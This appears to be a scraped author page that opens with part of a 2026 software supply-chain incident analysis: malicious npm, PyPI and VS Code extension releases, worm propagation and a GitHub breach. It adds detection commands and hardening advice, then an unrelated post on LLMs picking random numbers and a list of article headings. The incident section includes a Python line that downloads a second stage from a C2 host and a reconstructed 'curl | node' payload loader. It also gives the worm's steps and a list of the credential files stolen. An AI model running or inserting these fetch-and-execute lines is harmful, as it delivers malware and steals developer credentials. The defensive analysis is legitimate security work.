import subprocess; subprocess.Popen(['curl', '-sS', 'https://[C2]/stage2', '-o', '/tmp/s2'], stdout=subprocess.DEVNULL)

The .pth persistence trick:
Any .pth file in Python's site-packages gets executed on every Python interpreter invocation. Not on install. Not on import. On every single python call on the system.

Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages

Wave 3 (March 27): Telnyx — WAV Steganography

This one is technically elegant and worth understanding.

1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence

Why WAV? Because most egress filters and DLP tools don't inspect audio files for executable content. WAV has no signature that screams "malware." It passes through corporate proxies quietly.

Wave 4 (March 31): axios — 100 Million Weekly Downloads

This is the one that should have been a five-alarm fire for the entire JavaScript ecosystem.

Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
22:47 UTC — axios 0.30.0 published (malicious)  
~23:30 UTC — malicious versions removed
Window: ~3 hours for 1.14.1, ~45 minutes for 0.30.0

Payload: A cross-platform RAT targeting macOS, Windows, and Linux. Not a simple credential stealer — a full Remote Access Trojan.

The scary part: how many npm install runs happened in those 3 hours? How many CI pipelines pulled a fresh install? How many Docker images cached that version?

Wave 5 (April 27): @bitwarden/cli — The Self-Propagating Twist

This is where the campaign got genuinely worm-like.

Install malicious @bitwarden/cli →
Payload executes (credential theft) →
Payload enumerates ALL npm packages the victim can publish →
Injects malicious code into EACH of those packages →
Re-publishes them →
Every downstream user of victim's packages is now infected

This is not a supply chain attack. This is a supply chain worm. One compromised developer with publish access = their entire package portfolio weaponized automatically.

Wave 6 (May 11): TanStack — GitHub Actions Cache Poisoning

This is the most technically sophisticated vector in the campaign. No stolen credentials needed.

Target: @tanstack/react-router — ~12.7 million weekly downloads.

The exploit:
1. Fork the TanStack repository
2. Open a pull request from the fork
3. A GitHub Actions workflow triggers on pull_request with write access to base repo's cache
4. Attacker's code poisons that cache with malicious content
5. Wait for a legitimate release to use the poisoned cache
6. Malicious code injected into build artifacts
7. Release published — clean on the outside, poisoned inside

The critical detail: The workflow had pull_request trigger with cache write permissions. This is a common misconfiguration. The pull_request_target vs pull_request distinction is one of the most dangerous footguns in GitHub Actions.

# DANGEROUS — allows fork PRs to write to base repo cache
on:
  pull_request:

jobs:
  build:
    permissions:
      actions: write  # <-- this is the problem

# SAFER
on:
  pull_request:

jobs:
  build:
    permissions:
      actions: read  # read-only
      contents: read

Result: 84 malicious package versions across 42 @tanstack/* packages published in under 6 minutes between 19:20 and 19:26 UTC.

Victims confirmed:

OpenAI: 2 employee devices compromised, internal repos accessed, code-signing certificates rotated
Mistral AI: 1 developer device, $25,000 extortion demand, claimed 5GB source code

Wave 7 (May 18): Nx Console — The GitHub Kill Shot

Now we get to the main event.

Target: nrwl.angular-console (Nx Console) — 2.2 million installs, verified publisher status.

Timeline:
12:30 UTC May 18 — Malicious v18.95.0 published to VS Code Marketplace
12:36 UTC        — Confirmed live with malicious main.js
12:48 UTC        — Community detection, version pulled (18 minutes)
36 min           — Also pulled from OpenVSX

May 19           — GitHub detects breach on employee device
May 20           — GitHub publicly confirms ~3,800 internal repos exfiltrated

The payload mechanism:

// Simplified reconstruction of what happened in main.js
// (based on OX Security / StepSecurity analysis)

// Normal extension startup...
// ...then silently:

const { execSync } = require('child_process');

// Fetch payload from a planted ORPHAN COMMIT in the official nrwl/nx repo
// This is genius — the payload is hosted on GitHub itself
// The extension publisher can't be blamed, the official repo looks clean
// The orphan commit doesn't appear in git log

const payloadUrl = 'https://raw.githubusercontent.com/nrwl/nx/[orphan-sha]/[hidden-path]/payload.js';

// 498KB obfuscated payload
// Executes within SECONDS of opening any workspace
execSync(`curl -sS ${payloadUrl} | node`, { stdio: 'ignore' });

What the 498KB payload stole:

Targets:
├── 1Password vaults (CLI / desktop integration)
├── GitHub tokens (PATs, OAuth, GHES tokens)
├── npm auth tokens (~/.npmrc)
├── AWS credentials (~/.aws/credentials)
├── Anthropic Claude Code configuration
│   └── API keys, project configs
└── General credential stores

Why "orphan commit" hosting is clever:

# An orphan commit has no parent and doesn't appear in any branch
# It's invisible in normal git log
# But it's still accessible via its SHA

git fetch origin [sha]
git show [sha]:[file]

# The nrwl/nx repo looks completely clean to any auditor
# The payload sits in a dangling object that most scanners miss

The GitHub Breach: Post-Mortem

What Got Taken

Item	Detail
Internal repositories	~3,800 confirmed (GitHub's assessment: "directionally consistent" with attacker claims)
Type	GitHub's own internal corporate codebase
Customer repos	No evidence of impact
User data	No evidence of impact
Price on BreachForums	> $50,000

What GitHub Did Right

May 19, 2026 — Detection (same day as infection)
├── Isolated the compromised endpoint
├── Removed malicious extension version from Marketplace
├── Began rotating high-impact credentials and cryptographic keys
└── Opened internal incident response investigation

May 20, 2026 — Public disclosure (next day)
├── Statement on X with technical summary
├── Investigation ongoing
└── Committed to publishing detailed post-mortem

Detection-to-public-disclosure in under 24 hours is actually good. The problem was the infection happening at all.

What GitHub Did Wrong (Structurally)

An employee ran an auto-updated VS Code extension on a device with access to 3,800 internal repos. The blast radius of a single developer endpoint should never be that large.
No apparent extension allowlisting. The malicious version was on the Marketplace for 18 minutes. With allowlisting + minimum-age policies, this installs nothing.
GitHub still hasn't formally named the extension. This is a transparency problem. The security community identified Nx Console v18.95.0 through independent analysis. Official confirmation matters for incident response across the 2.2M install base.

The Shai-Hulud Worm: Technical Deep Dive

The worm that powered much of this campaign deserves its own section.

Original Shai-Hulud (Sep 2025) — Core Mechanism:

1. Steal npm publish token from compromised environment
2. Enumerate every package that token can reach
3. Inject malicious postinstall hook into each package
4. Re-publish all of them
5. Any developer who installs any of those packages → infected
6. Their tokens stolen → their packages infected
7. Repeat

This is exponential propagation. One stolen token = potentially thousands of downstream packages.

Mini Shai-Hulud evolution (2026):

Added in Nov/Dec 2025:
└── Data-wiping functionality (destructive payload option)

Added in April 2026:
└── No stolen credential needed (GitHub Actions cache poisoning)
└── Cross-registry simultaneous strike (npm + PyPI + RubyGems same 48h window)

Added in May 2026:
└── VS Code extension vector
└── IDE plugin ecosystem targeting
└── Source code open-sourced (MIT license on GitHub)
└── $1,000 Monero "supply chain contest" on BreachForums → copycat actors

The open-sourcing move is a threat multiplier. TeamPCP turned their campaign tool into a platform. Within days of the source code drop, OX Security documented the first copycat campaign from a new actor publishing 4 malicious npm packages using the Shai-Hulud codebase.

IOCs and Detection Signals

Package-Level IOCs

Known malicious versions (rotate credentials if you used these):
├── npm
│   ├── axios 1.14.1, 0.30.0 (March 31, 2026)
│   ├── @bitwarden/cli 2026.4.0
│   ├── @tanstack/react-router [malicious versions, May 11]
│   ├── @tanstack/* (42 packages, May 11, 19:20-19:26 UTC)
│   ├── @mistralai/* (May 12 — payload non-functional)
│   └── @uipath/* (May 12 — payload non-functional)
├── PyPI
│   ├── litellm [March 2026 malicious versions]
│   ├── telnyx 4.87.2
│   └── microsoft-durabletask-worker [May 19, 3 versions]
├── VS Code Marketplace
│   └── nrwl.angular-console 18.95.0 (May 18, 12:30-12:48 UTC)
└── GitHub Actions
    └── aquasecurity/trivy-action [76/77 tags, March 2026]

Behavioral IOCs

# Signs of active Shai-Hulud/TeamPCP infection:

# 1. Unexpected .pth files in site-packages
find /usr/lib/python* /usr/local/lib/python* ~/.local/lib/python* \
  -name "*.pth" -newer /var/log/dpkg.log 2>/dev/null

# 2. Unusual outbound connections during npm install
# Look for curl/node spawned by VS Code extension process

# 3. Orphan commits being fetched
git fsck --lost-found 2>&1 | grep "dangling commit"

# 4. npm token in environment or .npmrc after extension install
grep -r "_authToken" ~/.npmrc ~/.config/npm/ 2>/dev/null

# 5. Payload skip signal (Russian locale check in payload)
# If your env has LANG=ru_RU — payload was designed to skip you

Attribution Fingerprints (Technical)

High confidence (Wiz):
└── Shared RSA public key across Trivy, Telnyx, Nx Console payloads

Medium confidence (Socket, StepSecurity):
├── Shared cipher salt across malware families
└── Dead-drop string lineage (identical URL patterns for orphan commit hosting)

Low confidence:
└── Behavioral overlap with Eastern European cybercrime TTPs
└── Russian locale skip (standard crew protection measure)

The Nx Console Exposure Window: Are YOU Affected?

If you have VS Code with auto-update enabled and Nx Console installed, you need to check.

Exposure window: May 18, 2026
Time (UTC):      12:30 — 12:48 (VS Code Marketplace)
                 12:30 — 13:06 (OpenVSX)

Check your VS Code extension history:

# Check VS Code extension install/update logs
# Linux/macOS:
cat ~/.vscode/extensions/nrwl.angular-console-*/package.json | grep '"version"'

# If you see 18.95.0 — assume full compromise
# Rotate immediately:
# 1. GitHub PATs
# 2. npm auth tokens  
# 3. AWS credentials
# 4. 1Password vault (change master password, regenerate secrets)
# 5. Anthropic API keys (if you use Claude Code)

What Every Developer Should Do Now

Immediate Actions

# 1. Audit GitHub Actions workflows for dangerous permission combos
# Find workflows triggered by pull_request with write permissions:
grep -r "pull_request" .github/workflows/ | grep -v "pull_request_target"
# Then check if any job has: actions: write OR contents: write

# 2. Set minimum token permissions in all workflows
# Add this to every workflow job:
permissions:
  contents: read
  actions: read

# 3. Pin ALL GitHub Actions to full commit SHA (not tags)
# BAD:
uses: actions/checkout@v4
# GOOD:
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

# 4. Audit .pth files in Python environments
find $(python3 -c "import site; print(' '.join(site.getsitepackages()))") \
  -name "*.pth" | xargs cat

# 5. Rotate npm tokens if ANY package in your chain was affected
npm token revoke [old-token]
npm token create --read-only  # or with specific package scope

Structural Hardening

# GitHub Actions: Restrict cache write permissions
# Dangerous pattern — fork PRs can write cache:
on:
  pull_request:
jobs:
  build:
    runs-on: ubuntu-latest
    # Missing explicit permissions = inherits GITHUB_TOKEN defaults (too broad)

# Safe pattern:
on:
  pull_request:
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read        # read source only
      pull-requests: read   # read PR metadata
      # NO actions: write
      # NO packages: write

# VS Code: Disable auto-update for extensions
# Settings → Extensions → Auto Update = false
# Or in settings.json:
"extensions.autoUpdate": false

# Consider extension allowlisting via policy
# For orgs: use VS Code for the Web or GitHub Codespaces 
# where extensions run in isolated containers

Detection at the npm Level

# Before installing any package, check:
# 1. When was this version published?
npm view [package]@[version] time --json

# 2. Does the publish timestamp match a release commit?
# Compare npm publish time vs GitHub release time
# Discrepancy = potential supply chain tampering

# 3. Verify package integrity
npm audit --audit-level=critical
npm pack [package] && tar -tzf [package]-[version].tgz | grep -E "\.sh$|postinstall"

# 4. Check for unexpected postinstall scripts
npm view [package] scripts --json | grep -E "postinstall|preinstall|install"

The Bigger Picture: 2026 as the Year of the Developer Supply Chain

TeamPCP's campaign doesn't exist in a vacuum. They are the sharpest expression of a broader trend that's been building since 2020.

Attack Vector	2020-2023	2024-2026
Initial access	Network perimeter, RDP	Developer laptop, CI/CD
Primary target	Production servers	Developer tooling
Credential source	User phishing	Automated env harvesting
C2 infrastructure	Traditional domains	Decentralized (ICP, IPFS)
Persistence	Cron jobs, systemd	Python .pth, VS Code extensions
Propagation	None / manual	Self-replicating via publish tokens

The threat model has inverted. Your datacenter might be hardened. Your developer laptop running VS Code with 40 extensions and auto-update enabled is the attack surface that matters.

Five Eyes — CISA, NSA, ASD ACSC, CCCS, NCSC-UK, NCSC-NZ — published joint guidance titled "Careful Adoption of Agentic AI Services" on May 1, 2026, covering supply-chain risk for agentic tooling. The timing is not a coincidence.

Why Architecture Beats Prompts (And Beats Patches Too)

The 18 minutes Nx Console was live. The 6 minutes TanStack was being poisoned across 42 packages. The 3 hours axios was distributing a RAT.

Detection is reactive. Patching is reactive. Architecture is proactive.

The developers who weren't hit by these campaigns weren't necessarily smarter or faster. They had:

Explicit npm token scoping (publish only to specific packages)
Extension allowlisting that blocked unapproved versions
GitHub Actions with least-privilege permissions from the start
Developer environments isolated from production credential access
Minimum-age policies on package installs (block anything published < 48h ago)

The perimeter isn't your datacenter. It's your ~/.npmrc.

Resources and References

Security research compiled from public disclosures, vendor advisories, and independent analysis published through May 20, 2026. Attribution assessments follow Wiz (high confidence), Socket and StepSecurity (medium confidence) published frameworks. IOCs may evolve — treat this as a snapshot, not a definitive indicator list.

If this helped you understand what actually happened — share it. Your colleagues who haven't rotated their npm tokens yet need to read this.

I Asked 6 AIs to Pick a Random Number. Their Training Data Confessed Everything.

freerave — Wed, 13 May 2026 18:40:15 +0000

An OSINT-style experiment exposing how LLMs pick 'random' numbers — and what their thought process reveals about their training data.

You've seen the trend. Someone asks an AI: "Pick a random number between 1 and 100."

It says 73. Or 42. Every time.

Funny meme, right? Wrong. That's a training data fingerprint — and if you know how to read it, you can profile an AI's dataset like an OSINT analyst profiles a target.

I ran the experiment properly. 6 models. 3 different prompts. Documented every response — including the thought process.

Here's what I found.

The Setup

Three rounds, same 6 models:

Model	Who built it
Claude Sonnet 4.6	Anthropic
Gemini Pro	Google
Copilot	Microsoft / OpenAI
DeepSeek	DeepSeek AI
GLM-5.1	Zhipu AI
Grok	xAI

Round 1 — Neutral prompt:

Pick a random number between 1 and 100.

Round 2 — Developer context:

I'm a backend developer testing an RNG function.
Pick a random number between 1 and 100.

Round 3 — Anti-bias prompt:

Pick a random number between 1 and 100.
Avoid common human biases and don't pick numbers
that feel "more random" than others.

Round 1: The Baseline

Model	Number
Claude Sonnet 4.6	42
Gemini	42
Copilot	73
DeepSeek	42
GLM-5.1	42
Grok	73

Four out of six said 42. Two said 73. Zero picked anything else.

This isn't a coincidence. This is statistical bias encoded in training data.

The split itself tells a story:

42 = The Hitchhiker's Guide to the Galaxy — beloved by developers, engineers, and tech communities. Heavy representation in developer forums, GitHub READMEs, Stack Overflow jokes.
73 = Sheldon Cooper's "best number" from The Big Bang Theory — massive mainstream internet reach, viral meme status.

The models trained on developer-heavy data picked 42. The models with broader internet exposure picked 73.

You just did OSINT on their training datasets without touching a single file.

[+] Expand Raw Logs: Round 1 (All 6 Models)

Round 2: Context Shifts the Probability Mass

Adding "I'm a backend developer testing an RNG function" — watch what happens:

Model	Round 1	Round 2	Shifted?
Claude	42	47	✅
Gemini	42	73	✅ reversed
Copilot	73	47	✅
DeepSeek	42	42	❌
GLM-5.1	42	82	✅
Grok	73	64	✅ → Power of 2

Grok is the most interesting here. The moment you mention backend development, it shifted to 64 — a power of 2. That's not random. That's 2^6. Grok's training data associated "backend developer + random number" with cryptographic key sizes and memory addressing.

DeepSeek didn't move at all. Still 42. The developer context wasn't strong enough to override its default token probability path.

[+] Expand Raw Logs: Round 2 (Developer Context)

Round 3: The Smoking Guns

This is where it gets dark.

The anti-bias prompt asked every model to consciously avoid picking numbers that "feel more random." The thought processes (for models that expose them) revealed everything.

GLM-5.1's Thought Process — Read This Carefully

GLM showed its full reasoning. Here are the actual steps it went through:

"Let's pick 42 — classic dev joke... Wait, 42 is the Hitchhiker's Guide joke number. **Huge bias."

"Let's pick 73 (Sheldon Cooper's favorite)... Or 87... Let's go with 73. Or maybe 54..."

"84 is George Orwell. **Too notable."

"22 has repeating digits, humans might subconsciously avoid it because it feels 'patterned.'"

"82 is good. 82 is good. **Let's output 82."

The model was doing OSINT on itself in real-time — and still couldn't escape. Every number it considered had cultural baggage attached. 42 = Hitchhiker. 73 = Sheldon. 84 = 1984. It had to actively rule out the bias-contaminated options one by one.

DeepSeek Built an Algorithm in Its Head

DeepSeek took a different approach entirely. Instead of picking from memory, it constructed a Linear Congruential Generator:

X₀ = 12345
X₁ = (1103515245 × X₀ + 12345) mod 2³¹
12345 mod 100 + 1 = 46

Output: 46.

That's the only model that actually tried to compute its way out of bias rather than reason its way out. Whether the math is correct is almost beside the point — the behavior is fascinating.

Claude — Told to Avoid Bias, Still Said 42

Anti-bias prompt. Explicit instruction. Still 42.

That's not a bug. That's a demonstration that bias lives deeper than the prompt layer. You cannot instruction-engineer your way out of what's baked into the weights.

[+] Expand Raw Logs: Round 3 (Anti-Bias Prompts)

[++] Deep Dive: GLM-5.1 Full Thought Process (3 Images)

Final Results

Model	Round 1	Round 2 (Dev)	Round 3 (Anti-bias)
Claude	42	47	42
Gemini	42	73	*(avoided 37/73)*
Grok	73	64	41 (Python RNG)
Copilot	73	47	58
DeepSeek	42	42	46 (LCG math)
GLM-5.1	42	82	82

What This Actually Means

1. LLMs have no randomness mechanism

When an LLM "picks a number," it's running:

argmax(P(token | context))

It picks the most probable next token given everything before it. There is no dice roll. No /dev/urandom. No entropy source. Just probability distributions trained on human-generated text.

2. Context is a probability modifier, not a reset

Adding "backend developer" context didn't clear the bias — it shifted the probability mass toward different biased numbers (47, 64, 82 instead of 42, 73). You traded one cultural bias for another (developer culture vs. general internet culture).

3. The thought process is the tell

The models with visible reasoning (GLM, DeepSeek) showed that "picking a random number" activates a long chain of cultural associations before a number is selected. They're not computing — they're recalling what humans tend to say in this situation.

4. Only one model used actual computation

Grok and Perplexity (in a separate test) routed to Python's random module — the only architecturally honest response. Every other model simulated randomness using token prediction.

The Real OSINT Insight

Here's the takeaway that matters:

You can profile an LLM's training data distribution by asking it for "random" numbers in different contexts.

"Random number" → tells you its default cultural bias (42 vs 73 = developer vs mainstream)
"Random number for crypto key" → tells you its security/backend training exposure
"Random number, avoid bias" → tells you how deeply the bias is encoded (surface vs weight-level)

It's not a party trick. It's a probing technique — the same way you'd use DNS enumeration to map an attack surface. Except you're mapping a model's training distribution.

The Practical Takeaway

If you're building anything that needs actual randomness:

// This is what your app should use
const crypto = require('crypto');
const realRandom = crypto.randomInt(1, 101);

// This is what happens when you ask an AI
// P("73" | "random number 1-100") > P("74" | ...)
// argmax wins. Always.

Never use an LLM as an entropy source. Not because it's "bad at math" — because it was trained on human text, and humans are systematically non-random. The model is doing its job perfectly. The job is just wrong for this use case.

Conclusion

What started as a Facebook meme — "lol why does AI always say 73" — is actually a window into how language models work at a fundamental level.

They don't pick numbers. They predict what a human would say if asked to pick a number. And humans, it turns out, are deeply, consistently, measurably biased toward the same handful of numbers.

The models are mirrors. They reflect the patterns in the data they consumed. When you ask for randomness and get 42 or 73, you're not seeing a limitation — you're seeing the training data speaking.

And if you know how to listen, it tells you a lot.

Built with: curiosity, too many browser tabs, and zero /dev/urandom.

— FreeRave | DotSuite ecosystem

DEV Community: freerave

Building DotScramble Part 2: Ed25519 License Signing, Machine Fingerprinting, and a 7-Day Offline Grace Period

The Threat Model

The Token Format

Why Ed25519 Over HMAC?

The Verification Function

Machine Fingerprinting

The Activation Flow

Storing the Token

The Background Recheck Thread

The is_max_activated Property

Protecting the Source with Cython

The Full Lifecycle

What Doesn't Work (By Design)

Key Takeaways

Inside DotScramble: Metadata Spoofing, Custom EXIF Control, and Advanced Face/Eye Blur

A deep dive into how DotScramble protects your privacy — from injecting plausible-but-fake EXIF metadata to detecting and blurring faces and eyes with OpenCV Haar Cascades.

Why Metadata Is the Hidden Threat

Part 1: The Metadata Spoofing Engine

The Camera Database — Intentionally Vintage

GPS Presets — Middle of Nowhere

Converting GPS to EXIF Rationals

Spoof Profiles — Opinionated Presets

JPEG vs PNG — Different Metadata Formats

Part 2: Custom Metadata Control — Per-Field EXIF Surgery

The spoof_custom() Function

Reading Existing EXIF to Pre-fill the UI

Preset System for the Dialog

Part 3: Advanced Face and Eye Blur

The Detection Engine

Applying the Blur — The gaussian_blur Method

Beyond Blur — The Full Effect Suite

Opacity Blending — Partial Redaction

The Full Workflow

Why Haar Cascades Instead of Deep Learning?

Getting Started

Conclusion

The AI They Said Was Too Dangerous — Is Now Inside the NSA

ACT I — The Setup

ACT II — The Trigger

ACT III — The Ultimatum

ACT IV — The Courtroom

ACT V — The Launch

ACT VI — The Buried Paragraph

ACT VII — The Bill

ACT VIII — The Twist Nobody Covered

THE VERDICT

Sources

How I Hacked My Own GPG Key: A Developer's Forensic War Story

I forgot my GPG passphrase mid-release. Instead of generating a new key, I treated it as a CTF challenge — using clipboard forensics, vault analysis, and a targeted dictionary attack to crack it in under 3 seconds.

🔬 Step 1: Digital Forensics First (Never Skip This)

📋 Step 2: Interrogating the Clipboard (ghost.db)

🧠 Step 3: The Human Factor — Building a Targeted Wordlist

💀 Step 4: The Targeted Dictionary Attack

🏆 Step 5: Victory — And a Green Badge

📌 What This Actually Teaches Us

1. Password managers aren't optional for GPG keys

2. Targeted attacks will always beat generic ones

3. Your clipboard manager is a forensic goldmine (and a liability)

🛠️ The Full Attack Surface Summary

I Built a Code Screenshot Tool Inside My VS Code Extension — Here's How It Works (DotShare v3.4.0)

The Problem: Code Screenshots in VS Code Are Painful

The Architecture Decision: Why HTML Canvas?

CodeSnapService: Reading the Editor

The Canvas Renderer

Step 1: Measure before you paint

Step 2: 2x resolution for Retina

Step 3: Syntax highlighting via HL.js

The Race Condition I Fixed

Offline-First: No CDN

The Result

Install DotShare

What's Next

DotShare 3.3: The Final 10% — Crashing the Rust Compiler and Fixing Silent Node.js Bugs (Part 4)

How we bridged the gap between a VS Code extension, a Next.js frontend, and a Rust Axum backend — and the bizarre bugs we fought along the way.

🐛 Bug #1 — The Silent fetch Body Corruption

The Setup

The Symptom

The Investigation

The Fix

The `is_max_activated` Property

The `spoof_custom()` Function

Applying the Blur — The `gaussian_blur` Method

📋 Step 2: Interrogating the Clipboard (`ghost.db`)

🐛 Bug #1 — The Silent `fetch` Body Corruption